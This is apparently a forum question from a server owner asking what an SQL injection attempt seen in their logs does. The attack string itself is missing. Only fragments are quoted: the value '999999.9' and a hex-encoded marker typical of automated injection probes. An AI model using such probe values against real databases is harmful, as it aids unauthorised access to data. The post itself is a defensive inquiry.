I saw this sql injection / attack on one of my servers and would like to know what it is trying to do. I know that this is an attack, and after searching the Internet, I see that it is used a lot, but I do not see an explanation of what it does, and what is a hex or binary file. Here is the attack

What I would like to know is why "999999.9", what is "0x39313335313435363237322e39". When this attack works, what information will the hackers or the changes they made to the database have. Last, can this attack run over and over / server failure?
Any explanation for this code would be greatly appreciated.
